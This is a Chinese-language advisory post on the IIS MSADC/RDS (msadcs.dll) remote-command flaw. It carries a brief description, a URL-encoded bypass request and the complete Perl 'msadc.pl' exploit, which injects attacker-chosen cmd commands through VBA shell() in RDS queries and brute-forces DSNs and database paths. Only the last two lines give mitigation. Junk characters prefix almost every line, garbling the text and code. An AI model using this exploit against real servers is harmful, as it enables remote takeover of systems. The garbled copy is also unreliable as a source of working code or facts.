IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
79} Qj7 6B@{X^6y 涉及程序：
K!;>/3Y2- Microsoft NT server
`.YMbj#T e@L?jBj8m 描述：
yOE N*^6 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
GtkZ%<KF9 J#Agk^Y 5 详细：
s` o _ER 如果你没有时间读详细内容的话，就删除:
uE deA'*^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
-}P/<cu: 有关的安全问题就没有了。
m ?jF:] ^ 'Ug-64f> 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
y5N ,~@$r +6\1
d5 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Te @=8-u- 关于利用ODBC远程漏洞的描述，请参看:
)Q c>NF0 9FmX^t$T http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm b0[H{q-z{X ThYHVJ[; 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Fr]B]Hj http://www.microsoft.com/security/bulletins/MS99-025faq.asp G$CI~0Se: pLsJa?}R 这里不再论述。
6" |+\ i`EG80\[Z 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
ui1h M T<~?7-O" /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-+& sPrQ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
~k/GmH Uf<IXx&; K6e_RzP,.w #将下面这段保存为txt文件，然后: "perl -x 文件名"
|gM@}!DL @ \JoICz #!perl
K5:> #
~\[\S!" # MSADC/RDS 'usage' (aka exploit) script
Un{ 9reX5 #
_sC
kBDl- # by rain.forest.puppy
17@#"uT0 #
rWxQ;bb# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
5J m %*Wb # beta test and find errors!
w$[ck= ys Td'J use Socket; use Getopt::Std;
jt4c*0 z getopts("e:vd:h:XR", \%args);
V"Y -|R (xlA S print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
L(\o66a-rV GB`
G(a if (!defined $args{h} && !defined $args{R}) {
nZ~J &QK- print qq~
_J -3{a Usage: msadc.pl -h <host> { -d <delay> -X -v }
wd0 * "c@ -h <host> = host you want to scan (ip or domain)
S$1dX XT -d <seconds> = delay between calls, default 1 second
v= "2p8@F -X = dump Index Server path table, if available
Nk&$b -v = verbose
w[?E
oFI$Y -e = external dictionary file for step 5
Q*l_QnfG ad'C&^o5 Or a -R will resume a command session
wEMg~Hh ylBjuD+ ~; exit;}
j;_
> ,\ Y+e a $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
XonI if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
H?W8_XiN if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
!%Qm{R if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
_S;Fs|p_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Fun+L@:; if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
M3/ _E7Qoj sU 5/c|& if (!defined $args{R}){ $ret = &has_msadc;
>Sua:Uff die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
KI~M.2pk KiO1l{.s8n print "Please type the NT commandline you want to run (cmd /c assumed):\n"
WwYy[3U . "cmd /c ";
.Pi8c[ $in=<STDIN>; chomp $in;
)TV{n#n $command="cmd /c " . $in ;
L>1i~c&V Gtpl5g QH if (defined $args{R}) {&load; exit;}
=}7[ypQM`] QeZK&^W print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
2/ v9 &try_btcustmr;
6
s1lf! K`#bLCXEV0 print "\nStep 2: Trying to make our own DSN...";
y7WO:X& &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
s6| S#
d-sK{ZC" y print "\nStep 3: Trying known DSNs...";
^i!6q9<{e &known_dsn;
%^ z## 7^ %`1 p 8>n print "\nStep 4: Trying known .mdbs...";
gS$? #!f &known_mdb;
w5tcO%+k1 >V1v. JH if (defined $args{e}){
7.N~e}p 8 print "\nStep 5: Trying dictionary of DSN names...";
X23#y7: &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
,2?S ua/LD C!Oz' ~l print "Sorry Charley...maybe next time?\n";
c1L0#L/F6" exit;
mcFJ__3MAV z),@YJU"z ##############################################################################
}4A $j{\ l'0fRQc sub sendraw { # ripped and modded from whisker
d iG kwKj sleep($delay); # it's a DoS on the server! At least on mine...
`rLy7\@; my ($pstr)=@_;
`;vJ\$-< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
xpjv @P die("Socket problems\n");
C}>Pn{wY9 if(connect(S,pack "SnA4x8",2,80,$target)){
lZ![?t}2` select(S); $|=1;
yE4X6 print $pstr; my @in=<S>;
M8HHyV[AmC select(STDOUT); close(S);
O${B)C, return @in;
+#a_Y } else { die("Can't connect...\n"); }}
f7_EqS=( 6) _sv tg ##############################################################################
./# F,^F2 K~DQUmU@ sub make_header { # make the HTTP request
0l&#%wmJ, my $msadc=<<EOT
9C_Vb39::$ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
M~jV"OF= User-Agent: ACTIVEDATA
+P5 \N,,7R Host: $ip
WMw^zq?hd@ Content-Length: $clen
y (w&6: Connection: Keep-Alive
Hk8pKpn3 U&}v1wdZ3 ADCClientVersion:01.06
8+yC P_Y4 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
l k?@ =U~ y/(60H,{{ --!ADM!ROX!YOUR!WORLD!
?7]UbtW[ Content-Type: application/x-varg
ft" t Content-Length: $reqlen
8'}D/4MUr (m3
<) EOT
@j/|U04_ Z ; $msadc=~s/\n/\r\n/g;
#o / return $msadc;}
3{*nG'@Mal p|f5w"QcH ##############################################################################
e!hy,O{Pw b|'{f ? sub make_req { # make the RDS request
rOyK ugHe my ($switch, $p1, $p2)=@_;
~As/cd>9 my $req=""; my $t1, $t2, $query, $dsn;
$ 9%UAqk9 )GC9%mF; if ($switch==1){ # this is the btcustmr.mdb query
fDU_eyt/Z' $query="Select * from Customers where City=" . make_shell();
) ]
C"r_ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
{I:nza $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
3 J !J# a2!;$B% elsif ($switch==2){ # this is general make table query
nA)KRCi $query="create table AZZ (B int, C varchar(10))";
&4R -5i2a $dsn="$p1";}
$YztLcn 1@"os[ 9 elsif ($switch==3){ # this is general exploit table query
!x@3U^${ $query="select * from AZZ where C=" . make_shell();
abgA Ug) $dsn="$p1";}
t 8,VR FV &hco3HfW elsif ($switch==4){ # attempt to hork file info from index server
=(cfo _B@K $query="select path from scope()";
Ak'=/`+ p $dsn="Provider=MSIDXS;";}
#x|IEjoa u P &< elsif ($switch==5){ # bad query
Fd(o8z8Q $query="select";
5xIOi (3`Q $dsn="$p1";}
YM<F7tp4 Gj ka % $t1= make_unicode($query);
MLk%U 4 $t2= make_unicode($dsn);
> 5c38D7k) $req = "\x02\x00\x03\x00";
k0^t$J
W $req.= "\x08\x00" . pack ("S1", length($t1));
X7Z=@d( $req.= "\x00\x00" . $t1 ;
IQNvhl.{ $req.= "\x08\x00" . pack ("S1", length($t2));
,GTIpPj $req.= "\x00\x00" . $t2 ;
! a!^'2 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
*Al`QEW return $req;}
*\"+/ ul!e!^qwx ##############################################################################
..a@9#D |Zm'! -_ sub make_shell { # this makes the shell() statement
55K(] %t return "'|shell(\"$command\")|'";}
z 5q( [MI ? ##############################################################################
|: b !e 7:$zSj# y sub make_unicode { # quick little function to convert to unicode
U%u%_{- my ($in)=@_; my $out;
2}xvM"k=k for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
^"!)p2= return $out;}
Dxp.b$0t -hpC8YS ##############################################################################
A=bBI>GEYP sB+
B,DF sub rdo_success { # checks for RDO return success (this is kludge)
:v o#( my (@in) = @_; my $base=content_start(@in);
xI( t!aYp if($in[$base]=~/multipart\/mixed/){
ee\xj$, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
t^5xq8w8 return 0;}
g t|:K)[,6 \l71Q/y6u` ##############################################################################
] 3&BLq "R
% 3v.Z sub make_dsn { # this makes a DSN for us
%z "${ zw my @drives=("c","d","e","f");
Uf\,U8U B print "\nMaking DSN: ";
&{z RuF foreach $drive (@drives) {
7I;A5f print "$drive: ";
J S#AoPWA my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
@0&KM|+ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
>^ TcO . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
i=AQ1X\s $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
=PAsyj return 0 if $2 eq "404"; # not found/doesn't exist
[iGL~RiXtn if($2 eq "200") {
pZV=Co3!I foreach $line (@results) {
L7OFZ|gUz return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
8/BWe
;4 } return 0;}
y\@INA^ +LB2V3UZ ##############################################################################
zn2 Qp cV uT|b^ sub verify_exists {
{2=f,,| +f my ($page)=@_;
5Zy%Nam'gN my @results=sendraw("GET $page HTTP/1.0\n\n");
'wd&O03& return $results[0];}
Un^3%=; H tAO9 ##############################################################################
bD4 aSubN 2k W*Z7@D sub try_btcustmr {
H}PZJf_E my @drives=("c","d","e","f");
;Yu|LaI\<m my @dirs=("winnt","winnt35","winnt351","win","windows");
eiJ~1H X) 1^AG /w foreach $dir (@dirs) {
YF6 8 Ax] print "$dir -> "; # fun status so you can see progress
RZbiiMC> foreach $drive (@drives) {
# iVr @|, print "$drive: "; # ditto
|?<^4U8 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
.~7:o.BE`n $reqlenlen=length( "$reqlen" );
{N'<_%cu $clen= 206 + $reqlenlen + $reqlen;
0 + 3{fD/ ?G<.W [3 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
:]uz0 s`> if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
\Y^GA;AMQQ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
++Fv )KY@ e!oL!Zg ##############################################################################
YES-,;ZQ' Y x ':~ sub odbc_error {
+~\ 1g^h my (@in)=@_; my $base;
3e ?J #; my $base = content_start(@in);
}II)<g' if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
l
dw!G/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
O\q-Ai $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@BoZZ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$5N\sdyZxg return $in[$base+4].$in[$base+5].$in[$base+6];}
Kdr} 7#c print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
z6uHe{| print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
M@< r8M] G $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
BNq6dz$ J {4YD_$4W ##############################################################################
<8YIQA >gf,8flg j sub verbose {
0s .X my ($in)=@_;
I/)*pzt8 return if !$verbose;
FJ{6_=@D print STDOUT "\n$in\n";}
I]6,hygs 4GG0jCNk ##############################################################################
mu$rG3M j5MUP&/g3 sub save {
}S 6h1X my ($p1, $p2, $p3, $p4)=@_;
v{pW/Fu~ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
H?wf%0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
CG] /. close OUT;}
2U& +K2 _3zJ .% ##############################################################################
dfWtLY BY>]6SrP sub load {
5`Y>!|
Ab my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
j 026CVL open(IN,"<rds.save") || die("Couldn't open rds.save\n");
x{9$4 d @p=<IN>; close(IN);
,*Wp$ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
V>& 1;n $target= inet_aton($ip) || die("inet_aton problems");
9v?rNJs print "Resuming to $ip ...";
b]g#mQ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
&/8B (0< if($p[1]==1) {
J Q9+kZ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
TF DzTD $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
w}0rDWuR[ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
F0ylJ
/E if (rdo_success(@results)){print "Success!\n";}
*r|Zbxf( else { print "failed\n"; verbose(odbc_error(@results));}}
=}'7}0M_= elsif ($p[1]==3){
_*-b0 }T if(run_query("$p[3]")){
Zx^R -9 print "Success!\n";} else { print "failed\n"; }}
(o4':/es elsif ($p[1]==4){
=55V<VI if(run_query($drvst . "$p[3]")){
}fL
] }& print "Success!\n"; } else { print "failed\n"; }}
G6p R?K+ exit;}
iz3H oj ";TqYk=- ##############################################################################
1pP q)}=+ ?KG4Z sub create_table {
6\US eZh my ($in)=@_;
B/dJj# $reqlen=length( make_req(2,$in,"") ) - 28;
y(X^wC $reqlenlen=length( "$reqlen" );
)!=fy'] $clen= 206 + $reqlenlen + $reqlen;
zQoJ8 i> my @results=sendraw(make_header() . make_req(2,$in,""));
;i!$rL return 1 if rdo_success(@results);
y=zs6HaS my $temp= odbc_error(@results); verbose($temp);
<SiJA`(7 return 1 if $temp=~/Table 'AZZ' already exists/;
2]V8- return 0;}
p~OX1RBI \qJ cs'D ##############################################################################
s){R/2O3F qRXHaQi@9 sub known_dsn {
K0\`0E^, # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
|8fdhqy_ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
g ,yB^^% "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
>nO[5 "banner", "banners", "ads", "ADCDemo", "ADCTest");
]L?WC I5E+=.T*ar foreach $dSn (@dsns) {
WS"v"J% print ".";
tG[v@-O next if (!is_access("DSN=$dSn"));
Ct]? / if(create_table("DSN=$dSn")){
7-mo\jw< print "$dSn successful\n";
;}'Z2gZ B if(run_query("DSN=$dSn")){
;ZTh(_7 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:3D[~-/S print "Something's borked. Use verbose next time\n";}}} print "\n";}
w:2yFC B-V ##############################################################################
Mo\nY5 J ]|S0JC` sub is_access {
kfq<M7y my ($in)=@_;
o<rbC <
U $reqlen=length( make_req(5,$in,"") ) - 28;
NN~PWy1opa $reqlenlen=length( "$reqlen" );
zLg_0r*h1 $clen= 206 + $reqlenlen + $reqlen;
mxICQ>s
b my @results=sendraw(make_header() . make_req(5,$in,""));
~zDFL15w my $temp= odbc_error(@results);
a> S -50 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
%:y"o_X_ return 0;}
A+VzpJ~ Kr%`L/% ##############################################################################
n6{nx[%7N7 /Q'O]h0 a sub run_query {
(Kj>Ao my ($in)=@_;
,. V=y% $reqlen=length( make_req(3,$in,"") ) - 28;
p7[&H / $reqlenlen=length( "$reqlen" );
8KWhXF $clen= 206 + $reqlenlen + $reqlen;
XQcE
ZJ2 my @results=sendraw(make_header() . make_req(3,$in,""));
Rk} =SB- return 1 if rdo_success(@results);
Y{L|ja%9? my $temp= odbc_error(@results); verbose($temp);
xI8v'[ 3 return 0;}
2G$-:4B Q`Ug tL ##############################################################################
X:W}S/ B |S X?X sub known_mdb {
Tx/ KL%X my @drives=("c","d","e","f","g");
m^4O jik my @dirs=("winnt","winnt35","winnt351","win","windows");
<9`/Y"\ p my $dir, $drive, $mdb;
:U-yO 9!j my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
t_Ul;HVPS `7'=~BP?X # this is sparse, because I don't know of many
%Gm4,+8P3o my @sysmdbs=( "\\catroot\\icatalog.mdb",
i>;6Z s>S "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
!&o>zU. "\\system32\\certmdb.mdb",
P>
~Lx "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
I2C1 mV #M92=IH my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
YrTjHIn~w "\\cfusion\\cfapps\\forums\\forums_.mdb",
> u=nGeO "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
A{Q~@1 "\\cfusion\\cfapps\\security\\realm_.mdb",
j{P3o<l&` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
T7Yg^ -" "\\cfusion\\database\\cfexamples.mdb",
,@ t#)HV "\\cfusion\\database\\cfsnippets.mdb",
}j,G)\g# "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Wl3fR[ @3Q "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
< !] 7Gt "\\cfusion\\brighttiger\\database\\cleam.mdb",
%xt \|Lt "\\cfusion\\database\\smpolicy.mdb",
k? =_p6> "\\cfusion\\database\cypress.mdb",
p fg>H "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
O9F#gO|! "\\website\\cgi-win\\dbsample.mdb",
#^q@ra "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
r5&?-G "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
.,SWa;[iB ); #these are just
VB{G% !} foreach $drive (@drives) {
IF|%.%I$!U foreach $dir (@dirs){
m`/!7wQs foreach $mdb (@sysmdbs) {
RQ[6svfP print ".";
D]d2opBLj if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
}pv<<7}| print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
XwdehyPhT2 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
P87qUC print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
.gd'<l } else { print "Something's borked. Use verbose next time\n"; }}}}}
+#ANc;2g ^ v@&
q foreach $drive (@drives) {
u1 (8a%ZC foreach $mdb (@mdbs) {
)"<:Md$7 print ".";
7 *HBb- if(create_table($drv . $drive . $dir . $mdb)){
g
[+_T{ print "\n" . $drive . $dir . $mdb . " successful\n";
!6d`e"\K if(run_query($drv . $drive . $dir . $mdb)){
GZ/vUe print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
+)TOcxF% } else { print "Something's borked. Use verbose next time\n"; }}}}
k'+Mc%pg4E }
X3rvM8 <2 S?QgR , ##############################################################################
ZNG{:5u, 0"$'1g^]7 sub hork_idx {
}4"T#
[n# print "\nAttempting to dump Index Server tables...\n";
MM4Eq>F/ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
e5fzV.' 5 $reqlen=length( make_req(4,"","") ) - 28;
fHwr6"DJ $reqlenlen=length( "$reqlen" );
}K\ m.+%=d $clen= 206 + $reqlenlen + $reqlen;
8p~G)J3U my @results=sendraw2(make_header() . make_req(4,"",""));
f}F
if (rdo_success(@results)){
&sJ%ur+G my $max=@results; my $c; my %d;
7 {#^ zr for($c=19; $c<$max; $c++){
.(2ui~ed $results[$c]=~s/\x00//g;
w
B[H & $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
C8.MoFfhe $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
j#E&u*IR $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
`=cOTn52 $d{"$1$2"}="";}
:i:M7 }r foreach $c (keys %d){ print "$c\n"; }
]AzDkKj } else {print "Index server doesn't seem to be installed.\n"; }}
w@ =U f7 Vt D:'L- ##############################################################################
9q !./) h ?%]uFJC sub dsn_dict {
l@ W?qw open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Vy[ m%sEP while(<IN>){
VCUEz R0 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
9N]V F' next if (!is_access("DSN=$dSn"));
~!{y3thZ if(create_table("DSN=$dSn")){
AjA.="3 print "$dSn successful\n";
x4vow F if(run_query("DSN=$dSn")){
vtVc^j4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
T.p:`}Ma print "Something's borked. Use verbose next time\n";}}}
Sx3R 2-!Z print "\n"; close(IN);}
)~ l`%+ <i!7f26r ##############################################################################
h\i>4^]X. c*#*8R9.y sub sendraw2 { # ripped and modded from whisker
KnuQ 5\y sleep($delay); # it's a DoS on the server! At least on mine...
Iz[ T.$9 my ($pstr)=@_;
:F`yAB3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
9! sR} die("Socket problems\n");
R87e"m/C% if(connect(S,pack "SnA4x8",2,80,$target)){
Lk~aM bw# print "Connected. Getting data";
52JtEt7E open(OUT,">raw.out"); my @in;
J<'I.KZ\z select(S); $|=1; print $pstr;
wO
{-qrN while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
yl[6 b1 close(OUT); select(STDOUT); close(S); return @in;
e2PM^1{_ } else { die("Can't connect...\n"); }}
k)l^ ;x- 12,,gwh ##############################################################################
NXw$PM| +R APA:K9jD sub content_start { # this will take in the server headers
W;Ei>~E my (@in)=@_; my $c;
9G@
J#vsqr for ($c=1;$c<500;$c++) {
e ):rr* if($in[$c] =~/^\x0d\x0a/){
}}'0r2 S if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
~Z#jIG<?g else { return $c+1; }}}
06#40- return -1;} # it should never get here actually
9As K=/Buf 1k8zAtuj ##############################################################################
?A4t
&4 ;{k`nv_6 sub funky {
41[1_ p( my (@in)=@_; my $error=odbc_error(@in);
Z `)}1|~B if($error=~/ADO could not find the specified provider/){
ZRd,V ~iz print "\nServer returned an ADO miscofiguration message\nAborting.\n";
n rpxZA exit;}
S EeDq/h if($error=~/A Handler is required/){
\%FEQa0u print "\nServer has custom handler filters (they most likely are patched)\n";
?{
0MF exit;}
ny]R,D0 if($error=~/specified Handler has denied Access/){
*uq}jlD`! print "\nServer has custom handler filters (they most likely are patched)\n";
U<*8KiI exit;}}
`bdCom =R
<X!@ ##############################################################################
dlx "L% 4/Yk;X[jk sub has_msadc {
u`] J]g E my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
hZ obFf my $base=content_start(@results);
;x =k J@ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
{|kEGq~aE return 0;}
?<i inx RnX:T)+o ########################
kq
SpZoV0' i.e1?Zk1 s r&hQ 解决方案：
}op 0`-Xb 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
8a^E{x@HT 2、移除web 目录: /msadc
